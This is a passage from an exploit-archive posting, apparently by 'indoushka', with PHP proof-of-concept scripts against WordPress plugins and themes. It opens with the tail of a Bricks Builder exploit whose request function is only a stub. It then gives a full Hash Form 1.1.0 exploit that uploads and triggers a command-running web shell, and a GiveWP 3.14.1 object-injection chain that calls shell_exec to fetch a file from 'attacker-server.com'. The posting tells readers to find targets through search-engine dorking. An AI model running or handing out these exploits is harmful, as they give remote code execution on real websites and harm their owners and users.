        ];

        // إرسال الطلب POST لتنفيذ الاستغلال  
        $this->sendRequest([  
            'method' => 'POST',  
            'uri' => $this->targetUri['path'] . '/index.php', // URL المستهدف  
            'ctype' => 'application/json', // نوع المحتوى  
            'data' => json_encode($data), // تحويل البيانات إلى صيغة JSON  
            'vars_get' => ['rest_route' => '/bricks/v1/render_element'] // المعلمات الإضافية  
        ]);  
    }

    // دالة لمحاكاة الطلبات HTTP  
    private function sendRequest($options) {  
        // قم بتنفيذ منطق الطلب HTTP هنا  
        return ['code' => 200, 'body' => '{"nonce":"123456"}']; // استجابة مثال، يجب استبدالها بالمنطق الفعلي  
    }  
}

// الاستخدام  
$targetUri = ['path' => '/path/to/target']; // تعيين مسار الهدف هنا  
$module = new MetasploitModule([], $targetUri); // تمرير targetUri عند إنشاء الكائن  
try {  
    $module->exploit(); // محاولة تنفيذ الاستغلال  
} catch (Exception $e) {  
    echo $e->getMessage(); // طباعة رسالة الخطأ إذا حدثت  
}

?>

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

WordPress Bricks Builder Theme 1.9.6 Code Injection

WordPress Hash Form plugin version 1.1.0 suffers from a PHP code injection vulnerability.

=============================================================================================================================================  
| # Title     : WordPress Hash Form 1.1.0 php code injection Vulnerability                                                                  |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            |  
| # Vendor    : https://plugintests.com/plugins/wporg/hash-form/latest                                                                      |  
=============================================================================================================================================

POC :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following php code Upload shell file from external link.

[+] Line 117 set your target.

[+] Line 111 set your commands.

[+] save code as poc.php .

[+] USage : cmd = php poc.php .

[+] PayLoad :

<?php

class WordPressHashFormRCE {  
    private $target_url;  
    private $nonce;

    public function __construct($target_url) {  
        $this->target_url = $target_url;  
    }

    public function check() {  
        if (!$this->isWordPressOnline()) {  
            return 'WordPress does not appear to be online.';  
        }

        $plugin_version = $this->checkPluginVersion('hash-form', '1.1.1');

        if ($plugin_version === null) {  
            return 'Hash Form plugin does not appear to be installed.';  
        }

        if ($plugin_version === false) {  
            return 'Hash Form plugin is installed but the version is unknown.';  
        }

        if ($plugin_version !== '1.1.0') {  
            return "Hash Form plugin is version: $plugin_version, which is not vulnerable.";  
        }

        return "Detected Hash Form plugin version: $plugin_version";  
    }

    public function exploit() {  
        echo "Attempting to retrieve nonce from the target...\n";  
        $this->nonce = $this->getNonce();

        if (!$this->nonce) {  
            die('Failed to retrieve the nonce necessary for file upload.');  
        }

        echo "Nonce retrieved: {$this->nonce}\n";  
        echo "Uploading PHP payload using the retrieved nonce...\n";

        $file_url = $this->uploadPhpFile();  
        if (!$file_url) {  
            die('Failed to upload the PHP payload. Check file permissions and server settings.');  
        }

        echo "PHP payload uploaded successfully to $file_url\n";  
        $this->triggerPayload($file_url);  
    }

    private function isWordPressOnline() {  
        $response = $this->sendRequest('GET', '/wp-admin/admin-ajax.php?action=hashform_preview&form=1');  
        return $response !== false;  
    }

    private function checkPluginVersion($plugin_name, $version) {  
        $response = $this->sendRequest('GET', "/wp-admin/admin-ajax.php?action=hashform_preview&form=1");  
        if ($response === false) return null;

        preg_match('/"version":"([^"]+)"/', $response, $matches);  
        return $matches[1] ?? false;  // return the version or false if not found  
    }

    private function getNonce() {  
        $response = $this->sendRequest('GET', '/wp-admin/admin-ajax.php?action=hashform_preview&form=1');  
        if ($response === false) return null;

        preg_match('/"ajax_nounce":"([a-f0-9]+)"/', $response, $matches);  
        return $matches[1] ?? null;  
    }

    private function uploadPhpFile() {  
        $file_content = $this->createPayload();  
        $file_name = strtolower(bin2hex(random_bytes(4))) . '.php';

        $response = $this->sendRequest('POST', '/wp-admin/admin-ajax.php', [  
            'action' => 'hashform_file_upload_action',  
            'file_uploader_nonce' => $this->nonce,  
            'allowedExtensions[0]' => 'php',  
            'sizeLimit' => 1048576,  
            'qqfile' => $file_name,  
            'data' => $file_content  
        ]);

        $json_response = json_decode($response, true);  
        return $json_response['url'] ?? null;  
    }

    private function triggerPayload($url) {  
        echo "Triggering the payload...\n";  
        $this->sendRequest('GET', $url);  
    }

    private function sendRequest($method, $uri, $data = []) {  
        $url = $this->target_url . $uri;  
        $options = [  
            'http' => [  
                'header' => "Content-Type: application/x-www-form-urlencoded\r\n",  
                'method' => $method,  
                'content' => http_build_query($data),  
            ],  
        ];  
        $context = stream_context_create($options);  
        return @file_get_contents($url, false, $context);  
    }

    private function createPayload() {  
        // You can define your payload logic here, for now, we return a simple payload  
        $payload = "<?php\n if(isset(\$_GET['cmd'])) { system(\$_GET['cmd']); }\n ?>";  
        return base64_encode($payload);  
    }  
}

// استخدام الوحدة  
$target_url = 'http://target-wordpress-site.com';  
$exploit = new WordPressHashFormRCE($target_url);

// تحقق من الثغرة  
echo $exploit->check() . "\n";

// تنفيذ الاستغلال  
$exploit->exploit();

Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================

WordPress Hash Form 1.1.0 Code Injection

WordPress GiveWP Donation Fundraising Platform version 3.14.1 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : WordPress GiveWP Donation Fundraising Platform 3.14.1 php code injection Vulnerability                                      || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                            || # Vendor    : https://givewp.com/                                                                                                         |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] The following php code Upload shell file from external link.[+] Line 78 set your file link.[+] Line 127. set your target.[+] save code as poc.php .[+] USage : cmd = php poc.php .[+] PayLoad :<?phpclass GiveWPExploit {    private $targetUrl;    private $headers;    public function __construct($targetUrl) {        $this->targetUrl = $targetUrl;        $this->headers = array(            'Content-Type: application/x-www-form-urlencoded'        );    }    public function check() {        $response = $this->sendRequest('POST', $this->targetUrl . '/wp-admin/admin-ajax.php', array('action' => 'give_form_search'));        if (!$response || $response['http_code'] != 200) {            echo "Failed to retrieve form list.\n";            return false;        }        $forms = json_decode($response['body'], true);        if (empty($forms)) {            echo "No forms found.\n";            return false;        }        echo "Successfully retrieved form list. Available Form IDs: " . implode(', ', array_column($forms, 'id')) . "\n";        return $forms;    }    public function exploit() {        $forms = $this->check();        if (!$forms) {            return;        }        $selectedForm = $forms[array_rand($forms)];        $validForm = $this->retrieveAndAnalyzeForm($selectedForm['id']);        if (!$validForm) {            echo "Failed to retrieve a valid form for exploitation.\n";            return;        }        echo "Using Form ID: " . $validForm['give_form_id'] . " for exploitation.\n";        $this->sendExploitRequest($validForm);    }    private function retrieveAndAnalyzeForm($formId) {        $response = $this->sendRequest('POST', $this->targetUrl . '/wp-admin/admin-ajax.php', array(            'action' => 'give_donation_form_nonce',            'give_form_id' => $formId        ));        if (!$response || $response['http_code'] != 200) {            return false;        }        $formData = json_decode($response['body'], true);        $giveFormId = $formId;        $giveFormHash = $formData['data'];        $givePriceId = '0'; // Default price ID        $giveAmount = '$10.00'; // Default amount        if (!$giveFormHash) {            return false;        }        return array(            'give_form_id' => $giveFormId,            'give_form_hash' => $giveFormHash,            'give_price_id' => $givePriceId,            'give_amount' => $giveAmount        );    }    private function sendExploitRequest($validForm) {        // URL of the malicious file to be fetched        $remoteFileUrl = 'http://attacker-server.com/malicious-file.php';        // Payload that uses file_get_contents to fetch the remote file        $payload = sprintf(            'O:19:"Stripe\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:10:"shell_exec";s:12:"\\0*\\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%d:"%s";}}}}}}}}',            strlen($remoteFileUrl),            $remoteFileUrl        );        $data = array(            'give-form-id' => $validForm['give_form_id'],            'give-form-hash' => $validForm['give_form_hash'],            'give-price-id' => $validForm['give_price_id'],            'give-amount' => $validForm['give_amount'],            'give_first' => 'Test',            'give_last' => 'User',            'give_email' => 'test@example.com',            'give_title' => $payload,            'give-gateway' => 'offline',            'action' => 'give_process_donation'        );        $this->sendRequest('POST', $this->targetUrl . '/wp-admin/admin-ajax.php', $data);    }    private function sendRequest($method, $url, $data) {        $options = array(            'http' => array(                'method' => $method,                'header' => implode("\r\n", $this->headers),                'content' => http_build_query($data)            )        );        $context = stream_context_create($options);        $result = file_get_contents($url, false, $context);        if ($result === false) {            return false;        }        return array(            'http_code' => (int) substr($http_response_header[0], 9, 3), // Get the HTTP code            'body' => $result        );    }}// Usage$exploit = new GiveWPExploit('http://127.0.0.1');$exploit->exploit();?>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Tag

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